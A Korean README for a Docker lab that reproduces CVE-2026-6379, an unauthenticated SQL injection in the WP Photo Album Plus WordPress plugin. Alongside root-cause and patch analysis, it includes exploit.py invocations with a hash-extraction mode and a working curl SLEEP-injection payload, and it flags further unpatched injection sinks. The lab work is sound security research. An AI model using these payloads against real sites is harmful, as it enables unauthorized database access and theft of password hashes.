
# CVE-2026-6379 Docker 기반 랩 키트 WP Photo Album Plus의 인증되지 않은 SQL 인젝션 취약점인 CVE-2026-6379를 위한 Docker 기반 랩 키트입니다. 시간 기반 블라인드 PoC, 근본 원인 분석, 그리고 승인된 보안 연구를 위한 패치 검증을 포함합니다.
파라미터: wppa-supersearch
심각도: WPScan/Wordfence 기준 CVSS 8.6 (높음)
공급업체 수정: 2026-04-17 (WordPressBugBounty 미러의 커밋 d2b0d05d)
공개 공개: 2026-04-27 (WPScan)
이 키트는 자체 포함된 Docker 랩과 작동하는 PoC를 제공하므로 버그를 처음부터 끝까지 재현, 검증, 교육할 수 있습니다.
# 랩 호스트에서:
cd lab && ./setup.sh
# 설치 프로그램이 page_id와 함께 "=== LAB READY ==="를 출력하면:
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode probe
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode probe-calendar
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode version
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode hash
취약한 대상은 SLEEP 프로브에 ~5초 내에 응답하고, 패치된 대상은 <1초 내에 응답합니다.
수동 원라이너 확인:
curl -sS -o /dev/null -w "%{time_total}\n" \
"http://<host>:8080/?page_id=<id>&wppa-occur=1&wppa-supersearch=,o,,x%27%20OR%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))A)--%20-"
cve-2026-6379-wppa/
├── README.md # 이 파일
├── docs/
│ ├── writeup.md # 근본 원인 + 패치 분석
│ └── prompts.md # 이 키트를 만든 AI 연구 프롬프트
├── lab/
│ ├── docker-compose.yml # WordPress 6.5 + MySQL 8 + WPPA+ 9.1.10.011
│ ├── setup.sh # 시작 / 종료 / 정리
│ └── init/install.sh # 멱등 설치 프로그램 (wp-cli)
└── pocs/
├── exploit.py # 시간 기반 블라인드 SQLi (probe / version / user / hash)
└── test_oracle.sh # 종단 간 통합 테스트
wppa_get_photos()는 요청 파라미터 wppa-supersearch를 CSV s1,type,s3,DATA로 파싱합니다. type='o'(Owner)일 때 DATA는 SQL 문자열에 직접 연결됩니다:
$query = "SELECT id FROM $wpdb->wppa_photos
WHERE owner = '" . $data . "' AND album > 0 ORDER BY $order";
따옴표 처리도, $wpdb->prepare도 없습니다. wppa-supersearch=,o,,x' OR (...)-- -를 설정하면 따옴표로 묶인 owner를 이스케이프하고 임의의 SQL을 실행합니다. 엔드포인트는 [wppa] 숏코드를 호스팅하는 공개 프런트엔드 페이지이므로 인증이 필요 없습니다.
수정은 이전에 연결되었던 모든 케이스를 $wpdb->prepare(..., %s)로 감쌉니다.
d2b0d05d)로 수정된 싱크CVE-2026-6379 패치는 wppa-functions.php의 wppa_get_photos() 내부에 있는 여섯 개의 별도 SQL 싱크를 재작성합니다. 두 PoC 모드(probe 및 probe-calendar)는 각각 독립적인 싱크를 공격하며, 나머지는 페이로드 형태만 다릅니다. 모두 인증이 필요 없으며 기본 싱크와 동일한 wppa-occur=N 게이팅을 통해 접근할 수 있습니다.
| # | 싱크 (취약한 라인) | 트리거 파라미터 | PoC 모드 |
|---|---|---|---|
| 1 | owner — WHERE owner = '$data' (라인 1244) | wppa-supersearch=,o,,… | --mode probe (라이브 검증됨) |
| 2 | name — WHERE sname = '<wppa_name_slug($data)>' (라인 1237) | wppa-supersearch=,n,,… | 악용되지 않음 (슬러그 필터가 따옴표 제거) |
| 3 | tag — WHERE tags LIKE '%$d%' (라인 1254) | wppa-supersearch=,g,,… | wppa_sanitize_tags()에 의해 제한됨 |
| 4 | calendar exifdtm — WHERE exifdtm LIKE '<wp_strip_all_tags($caldate)>%' (라인 1361) | wppa-calendar=exifdtm&wppa-caldate=… | --mode probe-calendar (라이브 검증됨) |
| 5 | calendar timestamp — WHERE timestamp >= $t1 AND timestamp < $t2 (라인 1368) | wppa-calendar=timestamp&wppa-caldate=… | 숫자 강제 변환 (intval) — 제한적 |
| 6 | calendar modified — timestamp와 동일 (라인 1375) | wppa-calendar=modified&wppa-caldate=… | 숫자 강제 변환 — 제한적 |
라인 #4–#6은 동일한 커밋에서 매달린 ORDER BY $order 조각도 제거했습니다 — 아래 "관련 하드닝" 참조.
동일한 취약한 빌드에 대해 wppa-functions.php를 더 광범위하게 감사한 결과 CVE-2026-6379 패치 외부의 싱크가 발견되었습니다. 이는 WPScan/Wordfence가 공개한 것이 아니며 모두 동일하게 악용 가능한 것은 아니지만, 랩이 변종 사냥에도 유용하도록 여기에 문서화합니다.
stripslashes( $wpdb->prepare( ... IN (%s) ... ) ) — 별도의 취약점일 가능성상태: 9.1.11.001(패치 후)에 존재. d2b0d05d에서 해결되지 않음. 후속 CVE 후보.
%s는 쉼표로 구분된 IN 목록에 유효하지 않습니다(항상 단일 따옴표 문자열을 생성). 플러그인은 준비된 문을 stripslashes()로 감싸서 이를 우회하는데, 이는 prepare()가 방금 추가한 이스케이프를 제거합니다 — 목록 요소가 공격자에 의해 오염된 경우 인젝션이 다시 열립니다.
대표적인 발생 위치: wppa-functions.php 라인 660, 711, 831, 838, 889, 895, 900, 971, 1028, 1034, 1041, 1122, 1144, 1190, 1410, 1414, 1465, 1470, 1476, 1481, 1491.
변종 분석을 위한 사냥 쿼리:
docker exec cve26-6379-wp grep -n "stripslashes( \$wpdb->prepare" \
/var/www/html/wp-content/plugins/wp-photo-album-plus/wppa-functions.php
ORDER BY $order — 부분적으로 해결됨패치는 calendar/IN-절 싱크에서 ORDER BY $order를 제거했지만 다른 곳에는 남겨두었습니다. $order는 플러그인 런타임 상태(설정 테이블)에서 설정됩니다 — 악용 가능하려면 해당 상태에 대한 쓰기 경로가 필요합니다. 하드닝으로 취급하십시오.
wp_strip_all_tags() (#4의 변종)wp_strip_all_tags는 HTML을 제거하지 SQL을 제거하지 않습니다. 따옴표로 묶인 SQL 조각 주변에 나타나는 곳마다 해당 조각은 인젝션 가능합니다. caldate 외에도 연결 전에 이 함수를 통과하는 다른 요청 값을 감사하십시오.
| 상태 | probe | probe-calendar |
|---|---|---|
| 취약 (9.1.10.011) | [+] VULNERABLE — ~5.0s ≥ 3.5s | [+] VULNERABLE — ~5.0s ≥ 3.5s |
| 패치됨 (9.1.11.001) | [-] Not confirmed — ~0.04s | [-] Not confirmed — ~0.04s |
| 플러그인 비활성화 | [-] Not confirmed — ~0.04s | [-] Not confirmed — ~0.04s |
[wppa] 숏코드가 없는 페이지 | [-] Not confirmed — ~0.04s | [-] Not confirmed — ~0.04s |
실행 중인 랩에서 버전 전환:
# 패치됨:
docker exec cve26-6379-wp wp --path=/var/www/html --allow-root \
plugin install wp-photo-album-plus --version=9.1.11.001 --force --activate \
--allow-root || true
# 프로브 재실행; 음성이어야 합니다.
admin / adminadmin을 사용합니다 — 인터넷에 노출하지 마십시오../setup.sh purge로 종료합니다 (데이터베이스 볼륨 삭제).wppa-functions.php (취약): https://github.com/WordPressBugBounty/plugins-wp-photo-album-plus/blob/2d8c2f64/wp-photo-album-plus/wppa-functions.phpwppa-functions.php (패치됨): https://github.com/WordPressBugBounty/plugins-wp-photo-album-plus/blob/d2b0d05d/wp-photo-album-plus/wppa-functions.php